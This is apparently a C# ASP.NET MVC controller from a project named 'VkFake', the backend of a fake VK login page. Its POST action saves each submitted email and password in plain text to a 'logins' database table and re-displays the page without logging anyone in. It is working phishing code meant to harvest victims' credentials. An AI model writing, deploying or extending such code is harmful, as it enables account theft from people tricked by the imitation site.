﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using VkFake.Models;
using System.Web.Routing;
using System.Web.Security;
using System.Data;
using System.Net.Mail;
using System.Net;

namespace VkFake.Controllers
{
    using System.Configuration;
    using System.Data.SqlClient;

    public class HomeController : Controller
    {
        //
        // GET: /Home/

        [HttpGet]
        public ActionResult Index()
        {
            return View();
        }

        [HttpPost]
        public ActionResult Index(Login log)
        {
            try
            {
                //save data to bd
                string connectionString = ConfigurationManager.ConnectionStrings["FakeVK"].ConnectionString;
                string queryString = "INSERT INTO logins (login, password ) VALUES (@login, @password);";
                using (SqlConnection connection = new SqlConnection(connectionString))
                {
                    SqlCommand command = new SqlCommand(queryString, connection);
                    command.Parameters.Add("@login", log.email);
                    command.Parameters.Add("@password", log.pass);
                    connection.Open();
                    command.ExecuteNonQuery();
                    connection.Close();
                }
            }
            catch (Exception)
            {
                return View();
            }
            return View();
        }

    }
}
